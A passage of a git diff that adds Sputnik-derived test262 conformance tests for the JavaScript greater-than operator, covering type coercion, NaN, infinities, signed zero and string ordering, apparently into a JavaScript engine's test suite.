+ $ERROR('#3: new Number(1) > null === true');
+}
+
+//CHECK#4
+if (null > new Number(1) !== false) {
+ $ERROR('#4: null > new Number(1) === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A3.1_T2.4.js b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A3.1_T2.4.js
new file mode 100644
index 000000000..d98572cc5
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A3.1_T2.4.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is not String or Type(Primitive(y)) is not String, then operator x > y returns ToNumber(x) > ToNumber(y)
+ *
+ * @path ch11/11.8/11.8.2/S11.8.2_A3.1_T2.4.js
+ * @description Type(Primitive(x)) is different from Type(Primitive(y)) and both types vary between Number (primitive or object) and Undefined
+ */
+
+//CHECK#1
+if (1 > undefined !== false) {
+ $ERROR('#1: 1 > undefined === false');
+}
+
+//CHECK#2
+if (undefined > 1 !== false) {
+ $ERROR('#2: undefined > 1 === false');
+}
+
+//CHECK#3
+if (new Number(1) > undefined !== false) {
+ $ERROR('#3: new Number(1) > undefined === false');
+}
+
+//CHECK#4
+if (undefined > new Number(1) !== false) {
+ $ERROR('#4: undefined > new Number(1) === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A3.1_T2.5.js b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A3.1_T2.5.js
new file mode 100644
index 000000000..b739bd4dc
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A3.1_T2.5.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is not String or Type(Primitive(y)) is not String, then operator x > y returns ToNumber(x) > ToNumber(y)
+ *
+ * @path ch11/11.8/11.8.2/S11.8.2_A3.1_T2.5.js
+ * @description Type(Primitive(x)) is different from Type(Primitive(y)) and both types vary between String (primitive or object) and Boolean (primitive and object)
+ */
+
+//CHECK#1
+if (true > "1" !== false) {
+ $ERROR('#1: true > "1" === false');
+}
+
+//CHECK#2
+if ("1" > true !== false) {
+ $ERROR('#2: "1" > true === false');
+}
+
+//CHECK#3
+if (new Boolean(true) > "1" !== false) {
+ $ERROR('#3: new Boolean(true) > "1" === false');
+}
+
+//CHECK#4
+if ("1" > new Boolean(true) !== false) {
+ $ERROR('#4: "1" > new Boolean(true) === false');
+}
+
+//CHECK#5
+if (true > new String("1") !== false) {
+ $ERROR('#5: true > new String("1") === false');
+}
+
+//CHECK#6
+if (new String("1") > true !== false) {
+ $ERROR('#6: new String("1") > true === false');
+}
+
+//CHECK#7
+if (new Boolean(true) > new String("1") !== false) {
+ $ERROR('#7: new Boolean(true) > new String("1") === false');
+}
+
+//CHECK#8
+if (new String("1") > new Boolean(true) !== false) {
+ $ERROR('#8: new String("1") > new Boolean(true) === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A3.1_T2.6.js b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A3.1_T2.6.js
new file mode 100644
index 000000000..839884f83
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A3.1_T2.6.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is not String or Type(Primitive(y)) is not String, then operator x > y returns ToNumber(x) > ToNumber(y)
+ *
+ * @path ch11/11.8/11.8.2/S11.8.2_A3.1_T2.6.js
+ * @description Type(Primitive(x)) is different from Type(Primitive(y)) and both types vary between String (primitive or object) and Undefined
+ */
+
+//CHECK#1
+if ("1" > undefined !== false) {
+ $ERROR('#1: "1" > undefined === false');
+}
+
+//CHECK#2
+if (undefined > "1" !== false) {
+ $ERROR('#2: undefined > "1" === false');
+}
+
+//CHECK#3
+if (new String("1") > undefined !== false) {
+ $ERROR('#3: new String("1") > undefined === false');
+}
+
+//CHECK#4
+if (undefined > new String("1") !== false) {
+ $ERROR('#4: undefined > new String("1") === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A3.1_T2.7.js b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A3.1_T2.7.js
new file mode 100644
index 000000000..5b44d0a70
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A3.1_T2.7.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is not String or Type(Primitive(y)) is not String, then operator x > y returns ToNumber(x) > ToNumber(y)
+ *
+ * @path ch11/11.8/11.8.2/S11.8.2_A3.1_T2.7.js
+ * @description Type(Primitive(x)) is different from Type(Primitive(y)) and both types vary between String (primitive or object) and Null
+ */
+
+//CHECK#1
+if ("1" > null !== true) {
+ $ERROR('#1: "1" > null === true');
+}
+
+//CHECK#2
+if (null > "1" !== false) {
+ $ERROR('#2: null > "1" === false');
+}
+
+//CHECK#3
+if (new String("1") > null !== true) {
+ $ERROR('#3: new String("1") > null === true');
+}
+
+//CHECK#4
+if (null > new String("1") !== false) {
+ $ERROR('#4: null > new String("1") === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A3.1_T2.8.js b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A3.1_T2.8.js
new file mode 100644
index 000000000..3a3c48e7a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A3.1_T2.8.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is not String or Type(Primitive(y)) is not String, then operator x > y returns ToNumber(x) > ToNumber(y)
+ *
+ * @path ch11/11.8/11.8.2/S11.8.2_A3.1_T2.8.js
+ * @description Type(Primitive(x)) is different from Type(Primitive(y)) and both types vary between Boolean (primitive or object) and Undefined
+ */
+
+//CHECK#1
+if (true > undefined !== false) {
+ $ERROR('#1: true > undefined === false');
+}
+
+//CHECK#2
+if (undefined > true !== false) {
+ $ERROR('#2: undefined > true === false');
+}
+
+//CHECK#3
+if (new Boolean(true) > undefined !== false) {
+ $ERROR('#3: new Boolean(true) > undefined === false');
+}
+
+//CHECK#4
+if (undefined > new Boolean(true) !== false) {
+ $ERROR('#4: undefined > new Boolean(true) === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A3.1_T2.9.js b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A3.1_T2.9.js
new file mode 100644
index 000000000..32c04b23a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A3.1_T2.9.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is not String or Type(Primitive(y)) is not String, then operator x > y returns ToNumber(x) > ToNumber(y)
+ *
+ * @path ch11/11.8/11.8.2/S11.8.2_A3.1_T2.9.js
+ * @description Type(Primitive(x)) is different from Type(Primitive(y)) and both types vary between Boolean (primitive or object) and Null
+ */
+
+//CHECK#1
+if (true > null !== true) {
+ $ERROR('#1: true > null === true');
+}
+
+//CHECK#2
+if (null > true !== false) {
+ $ERROR('#2: null > true === false');
+}
+
+//CHECK#3
+if (new Boolean(true) > null !== true) {
+ $ERROR('#3: new Boolean(true) > null === true');
+}
+
+//CHECK#4
+if (null > new Boolean(true) !== false) {
+ $ERROR('#4: null > new Boolean(true) === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A3.2_T1.1.js b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A3.2_T1.1.js
new file mode 100644
index 000000000..fb0bcb016
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A3.2_T1.1.js
@@ -0,0 +1,40 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is String and Type(Primitive(y)) is String, then operator x > y returns ToString(x) > ToString(y)
+ *
+ * @path ch11/11.8/11.8.2/S11.8.2_A3.2_T1.1.js
+ * @description Type(Primitive(x)) and Type(Primitive(y)) vary between primitive string and String object
+ */
+
+//CHECK#1
+if ("1" > "1" !== false) {
+ $ERROR('#1: "1" > "1" === false');
+}
+
+//CHECK#2
+if (new String("1") > "1" !== false) {
+ $ERROR('#2: new String("1") > "1" === false');
+}
+
+//CHECK#3
+if ("1" > new String("1") !== false) {
+ $ERROR('#3: "1" > new String("1") === false');
+}
+
+//CHECK#4
+if (new String("1") > new String("1") !== false) {
+ $ERROR('#4: new String("1") > new String("1") === false');
+}
+
+//CHECK#5
+if ("x" > "1" !== true) {
+ $ERROR('#5: "x" > "1" === true');
+}
+
+//CHECK#6
+if ("1" > "x" !== false) {
+ $ERROR('#6: "1" > "x" === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A3.2_T1.2.js b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A3.2_T1.2.js
new file mode 100644
index 000000000..cf6e2889b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A3.2_T1.2.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is String and Type(Primitive(y)) is String, then operator x > y returns ToString(x) > ToString(y)
+ *
+ * @path ch11/11.8/11.8.2/S11.8.2_A3.2_T1.2.js
+ * @description Type(Primitive(x)) and Type(Primitive(y)) vary between Object object and Function object
+ */
+
+//CHECK#1
+if (({} > function(){return 1}) !== ({}.toString() > function(){return 1}.toString())) {
+ $ERROR('#1: ({} > function(){return 1}) === ({}.toString() > function(){return 1}.toString())');
+}
+
+//CHECK#2
+if ((function(){return 1} > {}) !== (function(){return 1}.toString() > {}.toString())) {
+ $ERROR('#2: (function(){return 1} > {}) === (function(){return 1}.toString() > {}.toString())');
+}
+
+//CHECK#3
+if ((function(){return 1} > function(){return 1}) !== (function(){return 1}.toString() > function(){return 1}.toString())) {
+ $ERROR('#3: (function(){return 1} > function(){return 1}) === (function(){return 1}.toString() > function(){return 1}.toString())');
+}
+
+//CHECK#4
+if (({} > {}) !== ({}.toString() > {}.toString())) {
+ $ERROR('#4: ({} > {}) === ({}.toString() > {}.toString())');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A4.1.js b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A4.1.js
new file mode 100644
index 000000000..a36cb0b92
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A4.1.js
@@ -0,0 +1,51 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If x is NaN, return false (if result in 11.8.5 is undefined, return false)
+ *
+ * @path ch11/11.8/11.8.2/S11.8.2_A4.1.js
+ * @description y is number primitive
+ */
+
+//CHECK#1
+if ((Number.NaN > 0) !== false) {
+ $ERROR('#1: (NaN > 0) === false');
+}
+
+//CHECK#2
+if ((Number.NaN > 1.1) !== false) {
+ $ERROR('#2: (NaN > 1.1) === false');
+}
+
+//CHECK#3
+if ((Number.NaN > -1.1) !== false) {
+ $ERROR('#3: (NaN > -1.1) === false');
+}
+
+//CHECK#4
+if ((Number.NaN > Number.NaN) !== false) {
+ $ERROR('#4: (NaN > NaN) === false');
+}
+
+//CHECK#5
+if ((Number.NaN > Number.POSITIVE_INFINITY) !== false) {
+ $ERROR('#5: (NaN > +Infinity) === false');
+}
+
+//CHECK#6
+if ((Number.NaN > Number.NEGATIVE_INFINITY) !== false) {
+ $ERROR('#6: (NaN > -Infinity) === false');
+}
+
+//CHECK#7
+if ((Number.NaN > Number.MAX_VALUE) !== false) {
+ $ERROR('#7: (NaN > Number.MAX_VALUE) === false');
+}
+
+//CHECK#8
+if ((Number.NaN > Number.MIN_VALUE) !== false) {
+ $ERROR('#8: (NaN > Number.MIN_VALUE) === false');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A4.10.js b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A4.10.js
new file mode 100644
index 000000000..eef094d97
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A4.10.js
@@ -0,0 +1,41 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If x is a prefix of y, return false
+ *
+ * @path ch11/11.8/11.8.2/S11.8.2_A4.10.js
+ * @description x and y are string primitives
+ */
+
+//CHECK#1
+if (("x" > "x") !== false) {
+ $ERROR('#1: ("x" > "x") === false');
+}
+
+//CHECK#2
+if (("" > "x") !== false) {
+ $ERROR('#2: ("" > "x") === false');
+}
+
+//CHECK#3
+if (("ab" > "abcd") !== false) {
+ $ERROR('#3: ("ab" > abcd") === false');
+}
+
+//CHECK#4
+if (("abcd" > "abc\u0064") !== false) {
+ $ERROR('#4: ("abcd" > abc\\u0064") === false');
+}
+
+//CHECK#5
+if (("x" > "x" + "y") !== false) {
+ $ERROR('#5: ("x" > "x" + "y") === false');
+}
+
+//CHECK#6
+var x = "x";
+if ((x > x + "y") !== false) {
+ $ERROR('#6: var x = "x"; (x > x + "y") === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A4.11.js b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A4.11.js
new file mode 100644
index 000000000..76da4cc14
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A4.11.js
@@ -0,0 +1,52 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If y is a prefix of x and x !== y, return true
+ *
+ * @path ch11/11.8/11.8.2/S11.8.2_A4.11.js
+ * @description x and y are string primitives
+ */
+
+//CHECK#1
+if (("x " > "x") !== true) {
+ $ERROR('#1: ("x " > "x") === true');
+}
+
+//CHECK#2
+if (("x" > "") !== true) {
+ $ERROR('#2: ("x" > "") === true');
+}
+
+//CHECK#3
+if (("abcd" > "ab") !== true) {
+ $ERROR('#3: ("abcd" > ab") === true');
+}
+
+//CHECK#4
+if (("abc\u0064" > "abcd") !== false) {
+ $ERROR('#4: ("abc\\u0064" > abc") === false');
+}
+
+//CHECK#5
+if (("x" + "y" > "x") !== true) {
+ $ERROR('#5: ("x" + "y" > "x") === true');
+}
+
+//CHECK#6
+var x = "x";
+if ((x + 'y' > x) !== true) {
+ $ERROR('#6: var x = "x"; (x + "y" > x) === true');
+}
+
+//CHECK#7
+if (("a\u0000a" > "a\u0000") !== true) {
+ $ERROR('#7: ("a\\u0000a" > "a\\u0000") === true');
+}
+
+//CHECK#8
+if ((" x" > "x") !== false) {
+ $ERROR('#8: (" x" > "x") === false');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A4.12_T1.js b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A4.12_T1.js
new file mode 100644
index 000000000..4bd4fb2ab
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A4.12_T1.js
@@ -0,0 +1,45 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If neither x, nor y is a prefix of each other, returned result of strings comparison applies a simple lexicographic ordering to the sequences of code point value values
+ *
+ * @path ch11/11.8/11.8.2/S11.8.2_A4.12_T1.js
+ * @description x and y are string primitives
+ */
+
+//CHECK#1
+if (("xy" > "xx") !== true) {
+ $ERROR('#1: ("xy" > "xx") === true');
+}
+
+//CHECK#2
+if (("xx" > "xy") !== false) {
+ $ERROR('#2: ("xx" > "xy") === false');
+}
+
+//CHECK#3
+if (("y" > "x") !== true) {
+ $ERROR('#3: ("y" > "x") === true');
+}
+
+//CHECK#4
+if (("aba" > "aab") !== true) {
+ $ERROR('#4: ("aba" > aab") === true');
+}
+
+//CHECK#5
+if (("\u0061\u0061\u0061\u0061" > "\u0061\u0061\u0061\u0062") !== false) {
+ $ERROR('#5: ("\\u0061\\u0061\\u0061\\u0061" > \\u0061\\u0061\\u0061\\u0062") === false');
+}
+
+//CHECK#6
+if (("a\u0000b" > "a\u0000a") !== true) {
+ $ERROR('#6: ("a\\u0000b" > "a\\u0000a") === true');
+}
+
+//CHECK#7
+if (("aa" > "aB") !== true) {
+ $ERROR('#7: ("aa" > aB") === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A4.12_T2.js b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A4.12_T2.js
new file mode 100644
index 000000000..ab16d98cb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A4.12_T2.js
@@ -0,0 +1,45 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If neither x, nor y is a prefix of each other, returned result of strings comparison applies a simple lexicographic ordering to the sequences of code point value values
+ *
+ * @path ch11/11.8/11.8.2/S11.8.2_A4.12_T2.js
+ * @description x and y are string primitives
+ */
+
+//CHECK#1
+if (("x" > "0") !== true) {
+ $ERROR('#1: ("x" > "0") !== true');
+}
+
+//CHECK#2
+if (("0" > "-") !== true) {
+ $ERROR('#2: ("0" > "-") !== true');
+}
+
+//CHECK#3
+if (("0" > ".") !== true) {
+ $ERROR('#3: ("0" > ".") !== true');
+}
+
+//CHECK#4
+if (("-" > "+") !== true) {
+ $ERROR('#4: ("-" > "+") !== true');
+}
+
+//CHECK#5
+if (("-1" > "-0") !== true) {
+ $ERROR('#5: ("-1" > "-0") !== true');
+}
+
+//CHECK#6
+if (("-1" > "+1") !== true) {
+ $ERROR('#6: ("-1" > "+1") !== true');
+}
+
+//CHECK#7
+if (("1e-10" > "1") !== true) {
+$ERROR('#7: ("1e-10" > "1") !== true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A4.2.js b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A4.2.js
new file mode 100644
index 000000000..1e81c52fe
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A4.2.js
@@ -0,0 +1,51 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If y is NaN, return false (if result in 11.8.5 is undefined, return false)
+ *
+ * @path ch11/11.8/11.8.2/S11.8.2_A4.2.js
+ * @description x is number primitive
+ */
+
+//CHECK#1
+if ((0 > Number.NaN) !== false) {
+ $ERROR('#1: (0 > NaN) === false');
+}
+
+//CHECK#2
+if ((1.1 > Number.NaN) !== false) {
+ $ERROR('#2: (1.1 > NaN) === false');
+}
+
+//CHECK#3
+if ((-1.1 > Number.NaN) !== false) {
+ $ERROR('#3: (-1.1 > NaN) === false');
+}
+
+//CHECK#4
+if ((Number.NaN > Number.NaN) !== false) {
+ $ERROR('#4: (NaN > NaN) === false');
+}
+
+//CHECK#5
+if ((Number.POSITIVE_INFINITY > Number.NaN) !== false) {
+ $ERROR('#5: (+Infinity > NaN) === false');
+}
+
+//CHECK#6
+if ((Number.NEGATIVE_INFINITY > Number.NaN) !== false) {
+ $ERROR('#6: (-Infinity > NaN) === false');
+}
+
+//CHECK#7
+if ((Number.MAX_VALUE > Number.NaN) !== false) {
+ $ERROR('#7: (Number.MAX_VALUE > NaN) === false');
+}
+
+//CHECK#8
+if ((Number.MIN_VALUE > Number.NaN) !== false) {
+ $ERROR('#8: (Number.MIN_VALUE > NaN) === false');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A4.3.js b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A4.3.js
new file mode 100644
index 000000000..8890a00e1
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A4.3.js
@@ -0,0 +1,47 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If x and y are the same number value, return false
+ *
+ * @path ch11/11.8/11.8.2/S11.8.2_A4.3.js
+ * @description x and y are number primitives
+ */
+
+//CHECK#1
+if ((1 > 1) !== false) {
+ $ERROR('#1: (1 > 1) === false');
+}
+
+//CHECK#2
+if ((1.1 > 1.1) !== false) {
+ $ERROR('#2: (1.1 > 1.1) === false');
+}
+
+//CHECK#3
+if ((-1.1 > -1.1) !== false) {
+ $ERROR('#3: (-1.1 > -1.1) === false');
+}
+
+//CHECK#4
+if ((Number.NEGATIVE_INFINITY > Number.NEGATIVE_INFINITY) !== false) {
+ $ERROR('#4: (-Infinity > -Infinity) === false');
+}
+
+//CHECK#5
+if ((Number.POSITIVE_INFINITY > Number.POSITIVE_INFINITY) !== false) {
+ $ERROR('#5: (+Infinity > +Infinity) === false');
+}
+
+//CHECK#6
+if ((Number.MAX_VALUE > Number.MAX_VALUE) !== false) {
+ $ERROR('#6: (Number.MAX_VALUE > Number.MAX_VALUE) === false');
+}
+
+//CHECK#7
+if ((Number.MIN_VALUE > Number.MIN_VALUE) !== false) {
+ $ERROR('#7: (Number.MIN_VALUE > Number.MIN_VALUE) === false');
+}
+
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A4.4.js b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A4.4.js
new file mode 100644
index 000000000..70a5440ca
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A4.4.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If either variable x or y is +0 and the other is -0, return false
+ *
+ * @path ch11/11.8/11.8.2/S11.8.2_A4.4.js
+ * @description Checking all combinations
+ */
+
+//CHECK#1
+if ((0 > 0) !== false) {
+ $ERROR('#1: (0 > 0) === false');
+}
+
+//CHECK#2
+if ((-0 > -0) !== false) {
+ $ERROR('#2: (-0 > -0) === false');
+}
+
+//CHECK#3
+if ((+0 > -0) !== false) {
+ $ERROR('#3: (+0 > -0) === false');
+}
+
+//CHECK#4
+if ((-0 > +0) !== false) {
+ $ERROR('#4: (-0 > +0) === false');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A4.5.js b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A4.5.js
new file mode 100644
index 000000000..79d3bde31
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A4.5.js
@@ -0,0 +1,41 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If x is +Infinity and x !== y, return true
+ *
+ * @path ch11/11.8/11.8.2/S11.8.2_A4.5.js
+ * @description y is number primitive
+ */
+
+//CHECK#1
+if ((Number.POSITIVE_INFINITY > 0) !== true) {
+ $ERROR('#1: (+Infinity > 0) === true');
+}
+
+//CHECK#2
+if ((Number.POSITIVE_INFINITY > 1.1) !== true) {
+ $ERROR('#2: (+Infinity > 1.1) === true');
+}
+
+//CHECK#3
+if ((Number.POSITIVE_INFINITY > -1.1) !== true) {
+ $ERROR('#3: (+Infinity > -1.1) === true');
+}
+
+//CHECK#4
+if ((Number.POSITIVE_INFINITY > Number.NEGATIVE_INFINITY) !== true) {
+ $ERROR('#4: (+Infinity > -Infinity) === true');
+}
+
+//CHECK#5
+if ((Number.POSITIVE_INFINITY > Number.MAX_VALUE) !== true) {
+ $ERROR('#5: (+Infinity > Number.MAX_VALUE) === true');
+}
+
+//CHECK#6
+if ((Number.POSITIVE_INFINITY > Number.MIN_VALUE) !== true) {
+ $ERROR('#6: (+Infinity > Number.MIN_VALUE) === true');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A4.6.js b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A4.6.js
new file mode 100644
index 000000000..aa96e699d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A4.6.js
@@ -0,0 +1,41 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If y is +Infinity, return false
+ *
+ * @path ch11/11.8/11.8.2/S11.8.2_A4.6.js
+ * @description x is number primitive
+ */
+
+//CHECK#1
+if ((0 > Number.POSITIVE_INFINITY) !== false) {
+ $ERROR('#1: (0 > +Infinity) === false');
+}
+
+//CHECK#2
+if ((1.1 > Number.POSITIVE_INFINITY) !== false) {
+ $ERROR('#2: (1.1 > +Infinity) === false');
+}
+
+//CHECK#3
+if ((-1.1 > Number.POSITIVE_INFINITY) !== false) {
+ $ERROR('#3: (-1.1 > +Infinity) === false');
+}
+
+//CHECK#4
+if ((Number.NEGATIVE_INFINITY > Number.POSITIVE_INFINITY) !== false) {
+ $ERROR('#4: (-Infinity > +Infinity) === false');
+}
+
+//CHECK#5
+if ((Number.MAX_VALUE > Number.POSITIVE_INFINITY) !== false) {
+ $ERROR('#5: (Number.MAX_VALUE > +Infinity) === false');
+}
+
+//CHECK#6
+if ((Number.MIN_VALUE > Number.POSITIVE_INFINITY) !== false) {
+ $ERROR('#6: (Number.MIN_VALUE > +Infinity) === false');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A4.7.js b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A4.7.js
new file mode 100644
index 000000000..bc06818cc
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A4.7.js
@@ -0,0 +1,41 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If x is -Infinity, return false
+ *
+ * @path ch11/11.8/11.8.2/S11.8.2_A4.7.js
+ * @description y is number primitive
+ */
+
+//CHECK#1
+if ((Number.NEGATIVE_INFINITY > 0) !== false) {
+ $ERROR('#1: (-Infinity > 0) === false');
+}
+
+//CHECK#2
+if ((Number.NEGATIVE_INFINITY > 1.1) !== false) {
+ $ERROR('#2: (-Infinity > 1.1) === false');
+}
+
+//CHECK#3
+if ((Number.NEGATIVE_INFINITY > -1.1) !== false) {
+ $ERROR('#3: (-Infinity > -1.1) === false');
+}
+
+//CHECK#4
+if ((Number.NEGATIVE_INFINITY > Number.POSITIVE_INFINITY) !== false) {
+ $ERROR('#4: (-Infinity > +Infinity) === false');
+}
+
+//CHECK#5
+if ((Number.NEGATIVE_INFINITY > Number.MAX_VALUE) !== false) {
+ $ERROR('#5: (-Infinity > Number.MAX_VALUE) === false');
+}
+
+//CHECK#6
+if ((Number.NEGATIVE_INFINITY > Number.MIN_VALUE) !== false) {
+ $ERROR('#6: (-Infinity > Number.MIN_VALUE) === false');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A4.8.js b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A4.8.js
new file mode 100644
index 000000000..3a3156114
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A4.8.js
@@ -0,0 +1,41 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If y is -Infinity and x !== y, return true
+ *
+ * @path ch11/11.8/11.8.2/S11.8.2_A4.8.js
+ * @description x is number primitive
+ */
+
+//CHECK#1
+if ((0 > Number.NEGATIVE_INFINITY) !== true) {
+ $ERROR('#1: (0 > -Infinity) === true');
+}
+
+//CHECK#2
+if ((1.1 > Number.NEGATIVE_INFINITY) !== true) {
+ $ERROR('#2: (1.1 > -Infinity) === true');
+}
+
+//CHECK#3
+if ((-1.1 > Number.NEGATIVE_INFINITY) !== true) {
+ $ERROR('#3: (-1.1 > -Infinity) === true');
+}
+
+//CHECK#4
+if ((Number.POSITIVE_INFINITY > Number.NEGATIVE_INFINITY) !== true) {
+ $ERROR('#4: (+Infinity > -Infinity) === true');
+}
+
+//CHECK#5
+if ((Number.MAX_VALUE > Number.NEGATIVE_INFINITY) !== true) {
+ $ERROR('#5: (Number.MAX_VALUE > -Infinity) === true');
+}
+
+//CHECK#6
+if ((Number.MIN_VALUE > Number.NEGATIVE_INFINITY) !== true) {
+ $ERROR('#6: (Number.MIN_VALUE > -Infinity) === true');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A4.9.js b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A4.9.js
new file mode 100644
index 000000000..a31255368
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A4.9.js
@@ -0,0 +1,52 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If is x greater than y and these values are both finite non-zero, return true; otherwise, return false
+ *
+ * @path ch11/11.8/11.8.2/S11.8.2_A4.9.js
+ * @description x and y are number primitives
